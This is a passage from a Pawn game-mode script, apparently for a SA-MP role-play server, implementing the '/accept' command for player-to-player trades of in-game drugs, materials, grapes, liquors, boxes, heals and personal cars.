								SCM(playerid,COLOR_LIGHTRED,"That player hasn't enough Drug.");
								return 1;
								}
									GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									format(string, sizeof(string), "You bought %d gram for $%d from Drug Dealer %s.",DrugGram[playerid],DrugPrice[playerid],giveplayer);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "%s has bought your %d gram for $%d ",sendername,DrugGram[playerid],DrugPrice[playerid]);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
									if(PINFO[DrugOffer[playerid]][pDrugsSkill] < 401)
									{
										PlayerInfo[DrugOffer[playerid]][pDrugsSkill] ++;
										SaveKonVal(DrugOffer[playerid], "pDrugsSkill", PINFO[DrugOffer[playerid]][pDrugsSkill]);
									}
									GivePlayerPool(playerid, -DrugPrice[playerid]);
									GivePlayerPool(giveplayerid, DrugPrice[playerid]);
									PlayerInfo[playerid][pDrugs] += DrugGram[playerid];
									SaveKonVal(playerid, "pDrugs", PINFO[playerid][pDrugs]);
									PlayerInfo[DrugOffer[playerid]][pDrugs] -= DrugGram[playerid];
									SaveKonVal(DrugOffer[playerid], "pDrugs", PINFO[DrugOffer[playerid]][pDrugs]);
									if(PlayerInfo[DrugOffer[playerid]][pDrugsSkill] == 50)
									{ SendMessage(DrugOffer[playerid], COLOR_YELLOW, "* Your Drug Dealer Skill is now Level 2, you can buy more Grams and Cheaper."); }
									else if(PlayerInfo[DrugOffer[playerid]][pDrugsSkill] == 100)
									{ SendMessage(DrugOffer[playerid], COLOR_YELLOW, "* Your Drug Dealer Skill is now Level 3, you can buy more Grams and Cheaper."); }
									else if(PlayerInfo[DrugOffer[playerid]][pDrugsSkill] == 200)
									{ SendMessage(DrugOffer[playerid], COLOR_YELLOW, "* Your Drug Dealer Skill is now Level 4, you can buy more Grams and Cheaper."); }
									else if(PlayerInfo[DrugOffer[playerid]][pDrugsSkill] == 400)
									{ SendMessage(DrugOffer[playerid], COLOR_YELLOW, "* Your Drug Dealer Skill is now Level 5, you can buy more Grams and Cheaper."); }
									DrugOffer[playerid] = INVALID_PLAYER_ID;
									DrugPrice[playerid] = 0;
									DrugGram[playerid] = 0;

									AccDrugs[playerid] += 1;
									return 1;
								}
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "You are fully loaded with Drugs, use them first !");
								return 1;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "You can't afford those Drugs !");
							return 1;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "No-one offered you any Drugs/Wrong id !");
						return 1;
					}
				}

				else if(strcmp(x_job,"materials",true) == 0)
				{
				tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Materials <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if(MatxOffer[playerid] == giveplayerid && MatxSell[giveplayerid] == playerid)
					{
						if(GetPlayerPool(playerid) > MatxPrice[playerid])
						{
								if(IsPlayerConnected(MatxOffer[playerid]))
								{
								if(PlayerInfo[MatxOffer[playerid]][pMats] < MatxGram[playerid])
								{
								SCM(playerid,COLOR_LIGHTRED,"That player hasn't enough materials.");
								return 1;
								}
									GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									format(string, sizeof(string), "You bought %d materials for $%d from Arms Dealer %s.",MatxGram[playerid],MatxPrice[playerid],giveplayer);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "%s has bought your %d materials for $%d ",sendername,MatxGram[playerid],MatxPrice[playerid]);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);

									GivePlayerPool(playerid, -MatxPrice[playerid]);
									GivePlayerPool(giveplayerid, MatxPrice[playerid]);
									PlayerInfo[playerid][pMats] += MatxGram[playerid];
									SaveKonVal(playerid, "pMats", PINFO[playerid][pMats]);
									PlayerInfo[MatxOffer[playerid]][pMats] -= MatxGram[playerid];
									SaveKonVal(MatxOffer[playerid], "pMats", PINFO[MatxOffer[playerid]][pMats]);

									MatxOffer[playerid] = INVALID_PLAYER_ID;
									MatxPrice[playerid] = 0;
									MatxGram[playerid] = 0;
									return 1;
								}
								return 1;

						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "You can't afford those Materials !");
							return 1;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "No-one offered you any Materials/Wrong id !");
						return 1;
					}
				}
				else if(strcmp(x_job,"grapes",true) == 0)
				{
				tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Grapes <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if(GrapexOffer[playerid] == giveplayerid && GrapexSell[giveplayerid] == playerid)
					{
						if(GetPlayerPool(playerid) > GrapexPrice[playerid])
						{
								if(IsPlayerConnected(GrapexOffer[playerid]))
								{
								if(PlayerInfo[GrapexOffer[playerid]][pDJ] < GrapexGram[playerid])
								{
								SCM(playerid,COLOR_LIGHTRED,"That player hasn't enough grapes.");
								return 1;
								}
									GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									format(string, sizeof(string), "You bought %d grapes for $%d from player %s.",GrapexGram[playerid],GrapexPrice[playerid],giveplayer);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "%s has bought your %d grapes for $%d",sendername,GrapexGram[playerid],GrapexPrice[playerid]);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);

									GivePlayerPool(playerid, -GrapexPrice[playerid]);
									GivePlayerPool(giveplayerid, GrapexPrice[playerid]);
									PlayerInfo[playerid][pDJ] += GrapexGram[playerid];
									SaveKonVal(playerid, "pDJ", PINFO[playerid][pDJ]);
									PlayerInfo[GrapexOffer[playerid]][pDJ] -= GrapexGram[playerid];
									SaveKonVal(GrapexOffer[playerid], "pDJ", PINFO[GrapexOffer[playerid]][pDJ]);

									GrapexOffer[playerid] = INVALID_PLAYER_ID;
									GrapexPrice[playerid] = 0;
									GrapexGram[playerid] = 0;
									return 1;
								}
								return 1;

						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "You can't afford those grapes!");
							return 1;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "No-one offered you any grapes or wrong id!");
						return 1;
					}
				}
				else if(strcmp(x_job,"liquors",true) == 0)
				{
				tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Liquors <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if(LiquorxOffer[playerid] == giveplayerid && LiquorxSell[giveplayerid] == playerid)
					{
						if(GetPlayerPool(playerid) > LiquorxPrice[playerid])
						{
								if(IsPlayerConnected(LiquorxOffer[playerid]))
								{
								if(PlayerInfo[LiquorxOffer[playerid]][pGMute] < LiquorxGram[playerid])
								{
								SCM(playerid,COLOR_LIGHTRED,"That player hasn't enough liquors.");
								return 1;
								}
									GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									format(string, sizeof(string), "You bought %d liquors for $%d from player %s.",LiquorxGram[playerid],LiquorxPrice[playerid],giveplayer);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "%s has bought your %d liquors for $%d",sendername,LiquorxGram[playerid],LiquorxPrice[playerid]);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);

									GivePlayerPool(playerid, -LiquorxPrice[playerid]);
									GivePlayerPool(giveplayerid, LiquorxPrice[playerid]);
									PlayerInfo[playerid][pGMute] += LiquorxGram[playerid];
									SaveKonVal(playerid, "pGMute", PINFO[playerid][pGMute]);
									PlayerInfo[LiquorxOffer[playerid]][pGMute] -= LiquorxGram[playerid];
									SaveKonVal(LiquorxOffer[playerid], "pGMute", PINFO[LiquorxOffer[playerid]][pGMute]);

									LiquorxOffer[playerid] = INVALID_PLAYER_ID;
									LiquorxPrice[playerid] = 0;
									LiquorxGram[playerid] = 0;
									return 1;
								}
								return 1;

						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "You can't afford those liquors!");
							return 1;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "No-one offered you any liquors or wrong id!");
						return 1;
					}
				}
				else if(strcmp(x_job,"boxes",true) == 0)
				{
				tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Boxes <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if(BoxxOffer[playerid] == giveplayerid && BoxxSell[giveplayerid] == playerid)
					{
						if(GetPlayerPool(playerid) > BoxxPrice[playerid])
						{
								if(IsPlayerConnected(BoxxOffer[playerid]))
								{
								if(PlayerInfo[BoxxOffer[playerid]][pBox] < BoxxGram[playerid])
								{
								SCM(playerid,COLOR_LIGHTRED,"That player hasn't enough boxes.");
								return 1;
								}
									GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									format(string, sizeof(string), "You bought %d boxes for $%d from player %s.",BoxxGram[playerid],BoxxPrice[playerid],giveplayer);
									SendMessage(playerid, COLOR_LIGHTBLUE, string);
									format(string, sizeof(string), "%s has bought your %d boxes for $%d",sendername,BoxxGram[playerid],BoxxPrice[playerid]);
									SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);

									GivePlayerPool(playerid, -BoxxPrice[playerid]);
									GivePlayerPool(giveplayerid, BoxxPrice[playerid]);
									PlayerInfo[playerid][pBox] += BoxxGram[playerid];
									SaveKonVal(playerid, "pBox", PINFO[playerid][pBox]);
									PlayerInfo[BoxxOffer[playerid]][pBox] -= BoxxGram[playerid];
									SaveKonVal(BoxxOffer[playerid], "pBox", PINFO[BoxxOffer[playerid]][pBox]);

									BoxxOffer[playerid] = INVALID_PLAYER_ID;
									BoxxPrice[playerid] = 0;
									BoxxGram[playerid] = 0;
									return 1;
								}
								return 1;

						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "You can't afford those boxes !");
							return 1;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "No-one offered you any boxes or wrong id!");
						return 1;
					}
				}
				else if(strcmp(x_job,"heal",true) == 0)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /[acc]ept Heal <Playerid/PartOfName>");
						return 1;
					}
					idss[playerid] = ReturnUser6(tmp);
					if(shealdare[playerid] != 0)
					{
					 SetPlayerKoon(true,playerid,100.00);
					 GivePlayerPool(playerid,-sprice[playerid]);
					 GivePlayerPool(idss[playerid],sprice[playerid]);
					 shealdare[playerid] = 0;
					 SetPlayerKoon(true, playerid ,100.00)
					 GetPlayerName(playerid, sendername, sizeof(sendername));
					 new string2[500];
					 format(string2, sizeof(string2), "%s accepted your request for heal ", sendername);
					 SendMessage(idss[playerid], COLOR_LIGHTBLUE, string2);
					 PlayerInfo[idss[playerid]][pFAct2] += 1;
                     SaveKonVal(idss[playerid], "pFAct2", PINFO[idss[playerid]][pFAct2]);
					}
					else
					{
					   SendMessage(playerid, COLOR_GRAD2, "You Haven't Request");
					}
					return 1;
				}
				else if(strcmp(x_job,"personalcar",true) == 0)
				{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					tmp = strtok(cmdtext,idx);
					if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /[acc]ept personalcar <Playerid/PartOfName>");
					new taraf = ReturnUser6(tmp);
					if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
					if(OnSellCar[taraf] != playerid) {if(OwnableCarOffer[playerid] == taraf) { OwnableCarOffer[playerid] = INVALID_PLAYER_ID; OwnableCarMethod[playerid] = 0;OwnableCarID[playerid] = 0; OwnablePriceModel[playerid] = 0; } return SCM(playerid,COLOR_SINA3,"That player doesn't offer you a car.");}
					if(!ProxDetectorS(5.0, playerid, taraf)) return SCM(playerid,COLOR_SINA3,"You must near this player.");
					if(GetPlayerVehicleID(taraf) != OwnableCarID[playerid]) {format(string,sizeof string,"%s wants to accept this offer but you need to sit in your vehicle to this offer accept successfully",PINFO[playerid][pName]);SCM(taraf,COLOR_SINA3,string);format(string,sizeof string,"%s must sit on %s vehicle.",PINFO[taraf][pName],(PINFO[taraf][pSex]==1)?("his"):("her"));return SCM(playerid,COLOR_SINA3,string);}
					format(string, sizeof(string), "You bought a car for $%s from %s.",FormatNumber(OwnablePriceModel[playerid]),PINFO[OwnableCarOffer[playerid]][pName]);
					SendMessage(playerid, COL_SYN, string);
					format(string, sizeof(string), "%s has bought your car for $%s.",PINFO[playerid][pName],FormatNumber(OwnablePriceModel[playerid]));
					SendMessage(OwnableCarOffer[playerid], COL_SYN, string);
					RemovePlayerFromVehicle(OwnableCarOffer[playerid]);
					GivePlayerPool(playerid, - OwnablePriceModel[playerid]);
					GivePlayerPool(OwnableCarOffer[playerid], OwnablePriceModel[playerid]);

					new v1 = PINFO[playerid][pVeh1];
					new v2 = PINFO[playerid][pVeh2];
					new v3 = PINFO[playerid][pVeh3];
					new v4 = PINFO[playerid][pVeh4];
					new v5 = PINFO[playerid][pVeh5];
					new v6 = PINFO[playerid][pVeh6];
					if(OwnableCarMethod[playerid] == 1) {
					if(v1 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh1];

						PlayerInfo[playerid][pVeh1] = r;
						SaveKonVal(playerid, "pVeh1", r);

						PlayerInfo[playerid][pCar_1] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_1", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh1", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_1", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_1] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh1] = 0;
					}
				   else if(v1 != 0 && v2 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh1];

						PlayerInfo[playerid][pVeh2] = r;
						SaveKonVal(playerid, "pVeh2", r);

						PlayerInfo[playerid][pCar_2] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_2", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh1", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_1", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_1] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh1] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh1];

						PlayerInfo[playerid][pVeh3] = r;
						SaveKonVal(playerid, "pVeh3", r);

						PlayerInfo[playerid][pCar_3] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_3", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh1", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_1", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_1] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh1] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh1];

						PlayerInfo[playerid][pVeh4] = r;
						SaveKonVal(playerid, "pVeh4", r);

						PlayerInfo[playerid][pCar_4] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_4", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh1", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_1", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_1] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh1] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 != 0 && v5 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh1];

						PlayerInfo[playerid][pVeh5] = r;
						SaveKonVal(playerid, "pVeh5", r);

						PlayerInfo[playerid][pCar_5] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_5", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh1", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_1", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_1] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh1] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 != 0 && v5 != 0 && v6 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh1];

						PlayerInfo[playerid][pVeh6] = r;
						SaveKonVal(playerid, "pVeh6", r);

						PlayerInfo[playerid][pCar_6] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_6", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh1", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_1", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_1] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh1] = 0;
					}
					}
					else if(OwnableCarMethod[playerid] == 2) {
					if(v1 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh2];

						PlayerInfo[playerid][pVeh1] = r;
						SaveKonVal(playerid, "pVeh1", r);

						PlayerInfo[playerid][pCar_1] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_1", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh2", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_2", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_2] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh2] = 0;
					}
				   else if(v1 != 0 && v2 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh2];

						PlayerInfo[playerid][pVeh2] = r;
						SaveKonVal(playerid, "pVeh2", r);

						PlayerInfo[playerid][pCar_2] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_2", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh2", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_2", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_2] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh2] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh2];

						PlayerInfo[playerid][pVeh3] = r;
						SaveKonVal(playerid, "pVeh3", r);

						PlayerInfo[playerid][pCar_3] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_3", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh2", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_2", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_2] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh2] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh2];

						PlayerInfo[playerid][pVeh4] = r;
						SaveKonVal(playerid, "pVeh4", r);

						PlayerInfo[playerid][pCar_4] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_4", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh2", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_2", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_2] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh2] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 != 0 && v5 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh2];

						PlayerInfo[playerid][pVeh5] = r;
						SaveKonVal(playerid, "pVeh5", r);

						PlayerInfo[playerid][pCar_5] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_5", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh2", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_2", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_2] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh2] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 != 0 && v5 != 0 && v6 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh2];

						PlayerInfo[playerid][pVeh6] = r;
						SaveKonVal(playerid, "pVeh6", r);

						PlayerInfo[playerid][pCar_6] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_6", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh2", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_2", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_2] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh2] = 0;
					}
					}
					else if(OwnableCarMethod[playerid] == 3) {
					if(v1 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh3];

						PlayerInfo[playerid][pVeh1] = r;
						SaveKonVal(playerid, "pVeh1", r);

						PlayerInfo[playerid][pCar_1] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_1", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh3", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_3", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_3] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh3] = 0;
					}
				   else if(v1 != 0 && v2 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh3];

						PlayerInfo[playerid][pVeh2] = r;
						SaveKonVal(playerid, "pVeh2", r);

						PlayerInfo[playerid][pCar_2] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_2", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh3", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_3", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_3] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh3] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh3];

						PlayerInfo[playerid][pVeh3] = r;
						SaveKonVal(playerid, "pVeh3", r);

						PlayerInfo[playerid][pCar_3] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_3", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh3", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_3", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_3] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh3] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh3];

						PlayerInfo[playerid][pVeh4] = r;
						SaveKonVal(playerid, "pVeh4", r);

						PlayerInfo[playerid][pCar_4] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_4", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh3", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_3", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_3] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh3] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 != 0 && v5 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh3];

						PlayerInfo[playerid][pVeh5] = r;
						SaveKonVal(playerid, "pVeh5", r);

						PlayerInfo[playerid][pCar_5] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_5", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh3", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_3", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_3] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh3] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 != 0 && v4 != 0 && v5 != 0 && v6 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh3];

						PlayerInfo[playerid][pVeh6] = r;
						SaveKonVal(playerid, "pVeh6", r);

						PlayerInfo[playerid][pCar_6] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_6", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh3", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_3", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_3] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh3] = 0;
					}
					}
					else if(OwnableCarMethod[playerid] == 4) {
					if(v1 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh4];

						PlayerInfo[playerid][pVeh1] = r;
						SaveKonVal(playerid, "pVeh1", r);

						PlayerInfo[playerid][pCar_1] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_1", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh4", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_4", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_4] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh4] = 0;
					}
				   else if(v1 != 0 && v2 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh4];

						PlayerInfo[playerid][pVeh2] = r;
						SaveKonVal(playerid, "pVeh2", r);

						PlayerInfo[playerid][pCar_2] = OwnableCarID[playerid];
						SaveKonVal(playerid, "pCar_2", OwnableCarID[playerid]);

						OwnedMashin[OwnableCarID[playerid]] = 1;
						MashinOwner[OwnableCarID[playerid]] = playerid;

						PlayerPlayMusic(playerid);

						SaveKonVal(OwnableCarOffer[playerid], "pVeh4", 0);
						SaveKonVal(OwnableCarOffer[playerid], "pCar_4", 0);
						PlayerInfo[OwnableCarOffer[playerid]][pCar_4] = 0;
						PlayerInfo[OwnableCarOffer[playerid]][pVeh4] = 0;
					}
					else if(v1 != 0 && v2 != 0 && v3 == 0)
					{
						new r = PlayerInfo[OwnableCarOffer[playerid]][pVeh4];

						PlayerInfo[playerid][pVeh3] = r;
						SaveKonVal(playerid, "pVeh3", r);

						PlayerInfo[playerid][pCar_3] = OwnableCarID[playerid];
